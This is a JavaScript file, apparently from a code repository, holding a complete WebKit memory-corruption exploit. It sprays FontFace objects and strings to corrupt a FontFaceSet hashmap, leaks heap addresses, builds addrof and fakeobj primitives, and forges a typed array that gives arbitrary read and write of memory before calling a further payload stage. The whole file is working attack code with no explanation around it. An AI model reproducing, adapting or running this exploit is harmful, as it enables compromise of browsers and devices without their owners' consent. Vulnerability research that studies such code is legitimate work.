pOOBs4/webkit.js

370 lines
11 KiB
JavaScript

var PAGE_SIZE = 16384;
var SIZEOF_CSS_FONT_FACE = 0xb8;
var HASHMAP_BUCKET = 208;
var STRING_OFFSET = 20;
var SPRAY_FONTS = 0x1000;
var GUESS_FONT = 0x200430000;
var NPAGES = 20;
var INVALID_POINTER = 0;
var HAMMER_FONT_NAME = "font8"; //must take bucket 3 of 8 (counting from zero)
var HAMMER_NSTRINGS = 700; //tweak this if crashing during hammer time
function poc() {
function hex(n) {
if ((typeof n) != "number")
return "" + n;
return "0x" + (new Number(n)).toString(16);
}
var union = new ArrayBuffer(8);
var union_b = new Uint8Array(union);
var union_i = new Uint32Array(union);
var union_f = new Float64Array(union);
var bad_fonts = [];
for (var i = 0; i < SPRAY_FONTS; i++)
bad_fonts.push(new FontFace("font1", "", {}));
var good_font = new FontFace("font2", "url(data:text/html,)", {});
bad_fonts.push(good_font);
var arrays = [];
for (var i = 0; i < 512; i++)
arrays.push(new Array(31));
arrays[256][0] = 1.5;
arrays[257][0] = {};
arrays[258][0] = 1.5;
var jsvalue = {
a: arrays[256],
b: new Uint32Array(1),
c: true
};
var string_atomifier = {};
var string_id = 10000000;
function ptrToString(p) {
var s = '';
for (var i = 0; i < 8; i++) {
s += String.fromCharCode(p % 256);
p = (p - p % 256) / 256;
}
return s;
}
function stringToPtr(p, o) {
if (o === undefined)
o = 0;
var ans = 0;
for (var i = 7; i >= 0; i--)
ans = 256 * ans + p.charCodeAt(o + i);
return ans;
}
var strings = [];
function mkString(l, head) {
var s = head + '\u0000'.repeat(l - STRING_OFFSET - 8 - head.length) + (string_id++);
string_atomifier[s] = 1;
strings.push(s);
return s;
}
var guf = GUESS_FONT;
var ite = true;
var matches = 0;
do {
var p_s = ptrToString(NPAGES + 2); // vector.size()
for (var i = 0; i < NPAGES; i++)
p_s += ptrToString(guf + i * PAGE_SIZE);
p_s += ptrToString(INVALID_POINTER);
for (var i = 0; i < 256; i++)
mkString(HASHMAP_BUCKET, p_s);
var ffs = new FontFaceSet(bad_fonts);
var badstr1 = mkString(HASHMAP_BUCKET, p_s);
var guessed_font = null;
var guessed_addr = null;
for (var i = 0; i < SPRAY_FONTS; i++) {
bad_fonts[i].family = "evil";
if (badstr1.substr(0, p_s.length) != p_s) {
guessed_font = i;
var p_s1 = badstr1.substr(0, p_s.length);
for (var i = 1; i <= NPAGES; i++) {
if (p_s1.substr(i * 8, 8) != p_s.substr(i * 8, 8)) {
guessed_addr = stringToPtr(p_s.substr(i * 8, 8));
break;
}
}
if (matches++ == 0) {
guf = guessed_addr + 2 * PAGE_SIZE;
guessed_addr = null;
}
break;
}
}
if ((ite = !ite))
guf += NPAGES * PAGE_SIZE;
}
while (guessed_addr === null);
var p_s = '';
p_s += ptrToString(26);
p_s += ptrToString(guessed_addr);
p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE);
for (var i = 0; i < 19; i++)
p_s += ptrToString(INVALID_POINTER);
for (var i = 0; i < 256; i++)
mkString(HASHMAP_BUCKET, p_s);
var ffs2 = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]);
var badstr2 = mkString(HASHMAP_BUCKET, p_s);
mkString(HASHMAP_BUCKET, p_s);
bad_fonts[guessed_font].family = "evil2";
bad_fonts[guessed_font + 1].family = "evil3";
var leak = stringToPtr(badstr2.substr(badstr2.length - 8));
var ffses = {};
function makeReader(read_addr, ffs_name) {
var fake_s = '';
fake_s += '0000'; //padding for 8-byte alignment
fake_s += '\u00ff\u0000\u0000\u0000\u00ff\u00ff\u00ff\u00ff'; //refcount=255, length=0xffffffff
fake_s += ptrToString(read_addr); //where to read from
fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit
p_s = '';
p_s += ptrToString(29);
p_s += ptrToString(guessed_addr);
p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE);
p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE);
for (var i = 0; i < 18; i++)
p_s += ptrToString(INVALID_POINTER);
for (var i = 0; i < 256; i++)
mkString(HASHMAP_BUCKET, p_s);
var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], bad_fonts[guessed_font + 2], good_font]);
mkString(HASHMAP_BUCKET, p_s);
var relative_read = mkString(HASHMAP_BUCKET, fake_s);
bad_fonts[guessed_font].family = ffs_name + "_evil1";
bad_fonts[guessed_font + 1].family = ffs_name + "_evil2";
bad_fonts[guessed_font + 2].family = ffs_name + "_evil3";
if (relative_read.length < 1000) //failed
return makeReader(read_addr, ffs_name + '_');
return relative_read;
}
var fastmalloc = makeReader(leak, 'ffs3'); //read from leaked string ptr
for (var i = 0; i < 100000; i++)
mkString(128, '');
var props = [];
for (var i = 0; i < 0x10000; i++) {
props.push({
value: 0x41434442
});
props.push({
value: jsvalue
});
}
var jsvalue_leak = null;
while (jsvalue_leak === null) {
Object.defineProperties({}, props);
for (var i = 0;; i++) {
if (fastmalloc.charCodeAt(i) == 0x42 &&
fastmalloc.charCodeAt(i + 1) == 0x44 &&
fastmalloc.charCodeAt(i + 2) == 0x43 &&
fastmalloc.charCodeAt(i + 3) == 0x41 &&
fastmalloc.charCodeAt(i + 4) == 0 &&
fastmalloc.charCodeAt(i + 5) == 0 &&
fastmalloc.charCodeAt(i + 6) == 254 &&
fastmalloc.charCodeAt(i + 7) == 255 &&
fastmalloc.charCodeAt(i + 24) == 14
) {
jsvalue_leak = stringToPtr(fastmalloc, i + 32);
break;
}
}
}
var rd_leak = makeReader(jsvalue_leak, 'ffs4');
var array256 = stringToPtr(rd_leak, 16); //arrays[256]
var ui32a = stringToPtr(rd_leak, 24); //Uint32Array
var sanity = stringToPtr(rd_leak, 32);
var rd_arr = makeReader(array256, 'ffs5');
var butterfly = stringToPtr(rd_arr, 8);
var rd_ui32 = makeReader(ui32a, 'ffs6');
for (var i = 0; i < 8; i++)
union_b[i] = rd_ui32.charCodeAt(i);
var structureid_low = union_i[0];
var structureid_high = union_i[1];
//setup for addrof/fakeobj
//in array[256] butterfly: 0 = &bad_fonts[guessed_font+12] as double
//in array[257] butterfly: 0 = {0x10000, 0x10000} as jsvalue
union_i[0] = 0x10000;
union_i[1] = 0; //account for nan-boxing
arrays[257][1] = {}; //force it to still be jsvalue-array not double-array
arrays[257][0] = union_f[0];
union_i[0] = (guessed_addr + 12 * SIZEOF_CSS_FONT_FACE) | 0;
union_i[1] = (guessed_addr - guessed_addr % 0x100000000) / 0x100000000;
arrays[256][i] = union_f[0];
//hammer time!
pp_s = '';
pp_s += ptrToString(56);
for (var i = 0; i < 12; i++)
pp_s += ptrToString(guessed_addr + i * SIZEOF_CSS_FONT_FACE);
var fake_s = '';
fake_s += '0000'; //padding for 8-byte alignment
fake_s += ptrToString(INVALID_POINTER); //never dereferenced
fake_s += ptrToString(butterfly); //hammer target
fake_s += '\u0000\u0000\u0000\u0000\u0022\u0000\u0000\u0000'; //length=34
var ffs7_args = [];
for (var i = 0; i < 12; i++)
ffs7_args.push(bad_fonts[guessed_font + i]);
ffs7_args.push(good_font);
var ffs8_args = [bad_fonts[guessed_font + 12]];
for (var i = 0; i < 5; i++)
ffs8_args.push(new FontFace(HAMMER_FONT_NAME, "url(data:text/html,)", {}));
for (var i = 0; i < HAMMER_NSTRINGS; i++)
mkString(HASHMAP_BUCKET, pp_s);
var ffs7 = new FontFaceSet(ffs7_args);
mkString(HASHMAP_BUCKET, pp_s);
var ffs8 = new FontFaceSet(ffs8_args);
mkString(HASHMAP_BUCKET, fake_s);
for (var i = 0; i < 13; i++)
bad_fonts[guessed_font + i].family = "hammer" + i;
window.addrof = function (obj) {
arrays[257][32] = obj;
union_f[0] = arrays[258][0];
return new int64(union_i[0], union_i[1]);
}
window.fakeobj = function (addr) {
union_i[0] = addr.low;
union_i[1] = addr.hi;
arrays[258][0] = union_f[0];
return arrays[257][32];
}
//craft misaligned typedarray
var arw_master = new Uint32Array(8);
var arw_slave = new Uint32Array(2);
var addrof_slave = addrof(arw_slave);
union_i[0] = structureid_low;
union_i[1] = structureid_high;
union_b[6] = 7;
var obj = {
jscell: union_f[0],
butterfly: true,
buffer: arw_master,
size: 0x5678
};
(function () {
var magic = fakeobj(addrof(obj).add32(0x10));
magic[4] = addrof_slave.low;
magic[5] = addrof_slave.hi;
magic = null;
})();
var prim = {
write8: function(addr, value) {
arw_master[4] = addr.low;
arw_master[5] = addr.hi;
if(value instanceof int64) {
arw_slave[0] = value.low;
arw_slave[1] = value.hi;
} else {
arw_slave[0] = value;
arw_slave[1] = 0;
}
},
write4: function(addr, value) {
arw_master[4] = addr.low;
arw_master[5] = addr.hi;
if(value instanceof int64) {
arw_slave[0] = value.low;
} else {
arw_slave[0] = value;
}
},
write2: function(addr, value) {
arw_master[4] = addr.low;
arw_master[5] = addr.hi;
var tmp = arw_slave[0] & 0xFFFF0000;
if(value instanceof int64) {
arw_slave[0] = ((value.low & 0xFFFF) | tmp);
} else {
arw_slave[0] = ((value & 0xFFFF) | tmp);
}
},
write1: function(addr, value) {
arw_master[4] = addr.low;
arw_master[5] = addr.hi;
var tmp = arw_slave[0] & 0xFFFFFF00;
if(value instanceof int64) {
arw_slave[0] = ((value.low & 0xFF) | tmp);
} else {
arw_slave[0] = ((value & 0xFF) | tmp);
}
},
read8: function(addr) {
arw_master[4] = addr.low;
arw_master[5] = addr.hi;
return new int64(arw_slave[0], arw_slave[1]);
},
read4: function(addr) {
arw_master[4] = addr.low;
arw_master[5] = addr.hi;
return arw_slave[0];
},
read2: function(addr) {
arw_master[4] = addr.low;
arw_master[5] = addr.hi;
return arw_slave[0] & 0xFFFF;
},
read1: function(addr) {
arw_master[4] = addr.low;
arw_master[5] = addr.hi;
return arw_slave[0] & 0xFF;
},
leakval: function(obj) {
arrays[257][32] = obj;
union_f[0] = arrays[258][0];
return new int64(union_i[0], union_i[1]);
}
};
window.p = prim;
run_hax();
}